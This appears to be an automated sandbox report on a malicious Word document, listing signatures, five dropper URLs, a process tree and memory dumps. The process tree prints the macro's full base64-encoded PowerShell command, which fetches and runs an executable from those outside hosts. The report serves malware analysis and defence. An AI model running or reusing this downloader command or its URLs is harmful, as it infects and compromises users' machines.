Analysis

  • max time kernel
    110s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    23/07/2020, 07:10

General

  • Target
    TV2123124669UZ.doc
  • Size 169KB
  • Sample200723-xpdr7ryqta
  • SHA256 23ea239a016f2ff1b2fe38ee5f5277f167ba1ab85a3d9cfee6c389b219d2f5a6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://houseofgriffin.org/weblog/v76/

  • exe.dropper

    http://hohwy.com/cgi-bin/Bv8y33Cmr/

  • exe.dropper

    http://lidermuebles.com.ar/cgi-bin/wz4rxd/

  • exe.dropper

    http://106.52.87.250:81/wp-admin/T3B09Z/

  • exe.dropper

    http://duhocjk.vn/wp-admin/51f73u/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TV2123124669UZ.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1440
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Blacklisted process makes network request
    PID:1684

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1440-2-0x0000000008900000-0x0000000008904000-memory.dmp

        memory/1440-5-0x000000000AAA0000-0x000000000AAA4000-memory.dmp

        memory/1440-6-0x000000000BB20000-0x000000000BB24000-memory.dmp

        memory/1440-7-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-9-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-11-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-12-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-13-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-14-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-16-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-18-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-20-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-22-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-24-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-26-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-28-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-30-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-32-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-34-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-36-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-38-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-40-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-42-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-44-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-46-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-48-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-50-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-51-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-52-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-53-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-54-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-55-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-57-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-59-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-61-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-63-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-65-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-67-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-69-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-71-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-73-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-75-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-77-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-79-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-81-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-83-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-85-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-87-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-89-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-91-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-93-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-95-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-97-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-99-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-101-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-103-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-105-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-107-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-109-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-111-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-113-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-115-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-117-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-119-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-121-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-123-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-125-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-127-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-129-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-131-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-133-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-135-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-137-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-139-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-141-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-143-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-145-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-147-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-149-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-151-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-153-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-155-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-157-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-159-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-161-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-163-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-165-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-167-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-169-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-171-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-173-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-175-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-177-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-179-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-181-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-183-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-185-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1440-187-0x0000000002180000-0x0000000002181000-memory.dmp